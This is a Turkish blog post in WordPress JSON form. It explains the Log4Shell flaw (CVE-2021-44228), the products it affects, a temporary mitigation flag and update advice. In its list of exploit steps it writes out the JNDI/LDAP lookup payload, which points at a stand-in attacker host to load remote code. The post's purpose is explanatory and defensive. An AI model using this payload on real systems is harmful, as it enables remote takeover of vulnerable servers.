{"id":83818,"date":"2021-12-14T12:55:00","date_gmt":"2021-12-14T09:55:00","guid":{"rendered":"http:\/\/hilmibilici.com\/?p=83818"},"modified":"2024-11-29T15:24:17","modified_gmt":"2024-11-29T12:24:17","slug":"java-log4j-zafiyeti-tespiti-ve-alinabilecek-onlemler","status":"publish","type":"post","link":"http:\/\/hilmibilici.com\/?p=83818","title":{"rendered":"Java Log4j Zafiyeti Tespiti ve Al\u0131nabilecek \u00f6nlemler"},"content":{"rendered":"

Apache Software Foundation,\u00a0Apache Logging Project’in bir par\u00e7as\u0131 olan pop\u00fcler Log4j g\u00fcnl\u00fck kitapl\u0131\u011f\u0131ndaki(framework) \u00a0g\u00fcvenlik a\u00e7\u0131\u011f\u0131n\u0131 (\u00a0CVE-2021-44228<\/a>\u00a0)\u00a0d\u00fczelten bir acil durum g\u00fcvenlik g\u00fcncellemesi yay\u0131nlad\u0131\u00a0.\u00a0Yama,\u00a02.15.0\u00a0s\u00fcr\u00fcm\u00fcn\u00fcn bir par\u00e7as\u0131 olarak yay\u0131nland\u0131\u00a0.<\/p>\n

G\u00fcvenlik a\u00e7\u0131\u011f\u0131 Log4Shell<\/strong> olarak adland\u0131r\u0131ld\u0131 ve CVSS g\u00fcvenlik a\u00e7\u0131\u011f\u0131 derecelendirme \u00f6l\u00e7e\u011finde 10 \u00fczerinden 10 puan ald\u0131.\u00a0Hata, uzaktan rastgele kod y\u00fcr\u00fct\u00fclmesine (RCE<\/a>) izin verir.\u00a0Sorun, d\u00fcn bilgi g\u00fcvenli\u011fi ara\u015ft\u0131rmac\u0131s\u0131 p0rz9’un Twitter’da bir PoC a\u00e7\u0131\u011f\u0131 yay\u0131nlam\u0131\u015f olmas\u0131 ve g\u00fcvenlik a\u00e7\u0131\u011f\u0131ndan uzaktan yararlan\u0131labilmesi ve bunun i\u00e7in \u00f6zel teknik beceriler gerektirmemesi nedeniyle daha da k\u00f6t\u00fcle\u015fiyor. Fakat a\u00e7\u0131\u011f\u0131n nisan hayat\u0131ndan itibaren oldu\u011fu \u00f6ng\u00f6r\u00fcl\u00fcyor.<\/p>\n

LunaSec\u00a0\u00a0\u015firketi\u00a0,<\/a>\u00a0Log4Shell’in\u00a0nas\u0131l \u00e7al\u0131\u015ft\u0131\u011f\u0131n\u0131 \u015f\u00f6yle a\u00e7\u0131kl\u0131yor<\/a>\u00a0:<\/em><\/strong><\/p>\n

G\u00fcvenlik a\u00e7\u0131\u011f\u0131, Java tabanl\u0131 uygulamalar\u0131 ve Log4j kitapl\u0131\u011f\u0131n\u0131 kullanan sunucular\u0131, dahili sistemlerinde belirli bir sat\u0131r\u0131 g\u00fcnl\u00fc\u011fe kaydetmeye zorlar. Bir uygulama veya sunucu bu t\u00fcr g\u00fcnl\u00fckleri i\u015fledi\u011finde, bir dize, savunmas\u0131z sistemin, sald\u0131rgan\u0131n kontrol edilen etki alan\u0131ndan k\u00f6t\u00fc ama\u00e7l\u0131 bir komut dosyas\u0131 y\u00fcklemesine ve \u00e7al\u0131\u015ft\u0131rmas\u0131na neden olabilir. Sonu\u00e7, g\u00fcvenlik a\u00e7\u0131\u011f\u0131 bulunan uygulama veya sunucunun tamamen ele ge\u00e7irilmesi olacakt\u0131r.<\/p>\n

Sorun ba\u015flang\u0131\u00e7ta Minecraft sunucular\u0131nda hata aran\u0131rken ke\u015ffedildi, ancak Log4j neredeyse t\u00fcm kurumsal uygulamalarda ve Java sunucular\u0131nda mevcut.\u00a0\u00d6rne\u011fin, kitapl\u0131k, Apache Struts, Apache Flink, Apache Druid, Apache Flume, Apache Solr, Apache Flink, Apache Kafka, Apache Dubbo vb. dahil olmak \u00fczere Apache Software Foundation taraf\u0131ndan yay\u0131nlanan hemen hemen t\u00fcm kurumsal \u00fcr\u00fcnlerde bulunabilir.\u00a0Log4j ayr\u0131ca Redis, ElasticSearch, Elastic Logstash, Ghidra ve di\u011ferleri dahil olmak \u00fczere \u00e7e\u015fitli a\u00e7\u0131k kaynak projelerinde aktif olarak kullan\u0131lmaktad\u0131r.<\/p>\n

Bu nedenle, bu \u00fcr\u00fcnlerden herhangi birini kullanan \u015firketler de dolayl\u0131 olarak Log4Shell’e y\u00f6nelik sald\u0131r\u0131lara kar\u015f\u0131 savunmas\u0131zd\u0131r, ancak bundan haberdar bile olabilirler.\u00a0Bilgi g\u00fcvenli\u011fi uzmanlar\u0131, Apple, Amazon, Twitter, Cloudflare, Steam, Tencent, Baidu, DIDI, JD, NetEase ve muhtemelen binlerce ba\u015fka \u015firketin \u00e7\u00f6z\u00fcmlerinin Log4Shell’e kar\u015f\u0131 savunmas\u0131z olabilece\u011fini \u015fimdiden bildiriyor.<\/p>\n

Exploit nas\u0131l kullan\u0131l\u0131yor:<\/strong><\/p>\n

    \n
  1. G\u00fcnl\u00fc\u011fe kaydedilebilecek herhangi bir yere $ {jndi: ldap: \/\/attacker.host\/blabla} bi\u00e7iminde \u00f6zel olarak olu\u015fturulmu\u015f bir istek g\u00f6ndeririz.<\/li>\n
  2. JNDI (Java Adland\u0131rma ve Dizin Aray\u00fcz\u00fc), s\u0131rayla \u015fablonu i\u015fler, LDAP arac\u0131l\u0131\u011f\u0131yla attacker.host’tan veri ister.<\/li>\n
  3. Yan\u0131tta, iste\u011fe ba\u011fl\u0131 kod y\u00fcr\u00fctmenize izin veren bir JAVA s\u0131n\u0131f\u0131 verilir.<\/li>\n<\/ol>\n

    Ge\u00e7ici d\u00fczeltme:<\/strong><\/p>\n

    JAVA_OPTS=\"-Dlog4j.formatMsgNoLookups=true\"<\/code>\u00a0veya Log4j s\u00fcr\u00fcmlerini log4j-2.15.0-rc1 olarak g\u00fcncelleyin.<\/p>\n

    D\u00fcn baz\u0131 kaynaklar CVE-2021-44228’in yaln\u0131zca log4j2.formatMsgNoLookps parametresi false olarak ayarlanm\u0131\u015fsa yararlan\u0131labilece\u011fini yazd\u0131. The Record<\/a>\u00a0Edition,\u00a0KnownSec 404 Team \u015firketine g\u00f6re Log4j<\/strong> 2.15.0 s\u00fcr\u00fcm\u00fcnde bu parametrenin \u00f6zellikle sald\u0131r\u0131lar\u0131 \u00f6nlemek i\u00e7in true olarak ayarland\u0131\u011f\u0131n\u0131 bildiriyor.\u00a0Bu, 2.15.0 s\u00fcr\u00fcm\u00fcne y\u00fckselten ve ard\u0131ndan bayra\u011f\u0131 false olarak ayarlayan Log4j kullan\u0131c\u0131lar\u0131n\u0131n yeniden sald\u0131r\u0131lara a\u00e7\u0131k olaca\u011f\u0131 anlam\u0131na gelir.\u00a0Ayr\u0131ca, g\u00fcncelleme yapmam\u0131\u015f ancak bayra\u011f\u0131 true olarak ayarlayan Log4j kullan\u0131c\u0131lar\u0131, daha eski s\u00fcr\u00fcmlerde bile sald\u0131r\u0131lar\u0131 engelleyebilecekler.<\/p>\n

    Ne yaz\u0131k ki, bu ayn\u0131 zamanda bu parametrenin varsay\u0131lan olarak false olarak ayarland\u0131\u011f\u0131 t\u00fcm eski s\u00fcr\u00fcmlerin risk alt\u0131nda oldu\u011fu anlam\u0131na gelir.\u00a0Di\u011fer bir deyi\u015fle, 2.10.0 ile ba\u015flayan Log4j’nin \u00f6nceki t\u00fcm s\u00fcr\u00fcmleri savunmas\u0131zd\u0131r.<\/p>\n

    Bad Packets<\/a>\u00a0\u00a0ve\u00a0\u00a0Greynoise<\/a>\u00a0uzmanlar\u0131na g\u00f6re\u00a0, birka\u00e7 siber su\u00e7lu Log4Shell’e kar\u015f\u0131 savunmas\u0131z olabilecek uygulamalar\u0131 aramak i\u00e7in a\u011f\u0131 zaten tar\u0131yor, bu da yamalar\u0131 y\u00fcklemek i\u00e7in neredeyse hi\u00e7 zaman olmad\u0131\u011f\u0131 anlam\u0131na geliyor.<\/p>\n

    Bu a\u00e7\u0131\u011f\u0131 g\u00fcvenlik taraf\u0131nda SIEM korelasyonlar\u0131 ile g\u00f6r\u00fclebilir, engellenebilir. Ama do\u011frudan Roksit Secure DNS<\/strong> gibi DNS loglar\u0131 \u00fczerinden \u00e7al\u0131\u015fan firmalar\u0131 kullanarak hem bula\u015f engellenir hemde enfekte olmu\u015f cihazlar tespiti sa\u011flan\u0131r.<\/p>\n","protected":false},"excerpt":{"rendered":"

    Apache Software Foundation,\u00a0Apache Logging Project’in bir par\u00e7as\u0131 olan pop\u00fcler Log4j g\u00fcnl\u00fck kitapl\u0131\u011f\u0131ndaki(framework) \u00a0g\u00fcvenlik a\u00e7\u0131\u011f\u0131n\u0131 (\u00a0CVE-2021-44228\u00a0)\u00a0d\u00fczelten bir acil durum g\u00fcvenlik g\u00fcncellemesi…<\/p>\n","protected":false},"author":1,"featured_media":85027,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_acf_changed":false,"footnotes":""},"categories":[37],"tags":[136,216,253,277,281,282,283,284,285,376,423,490],"class_list":["post-83818","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-bilisim-hukuku","tag-cve-2021-44228","tag-guvenlik-aciklari","tag-jndi","tag-ldap","tag-log4j","tag-log4j-acigi","tag-log4j-saldirisi","tag-log4j-zero-day","tag-log4shell","tag-rce","tag-sifir-gun-guvenlik-aciklari","tag-yamalar"],"acf":[],"aioseo_notices":[],"aioseo_head":"\n\t\t\n\t\n\t\n\t\n\t\n\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t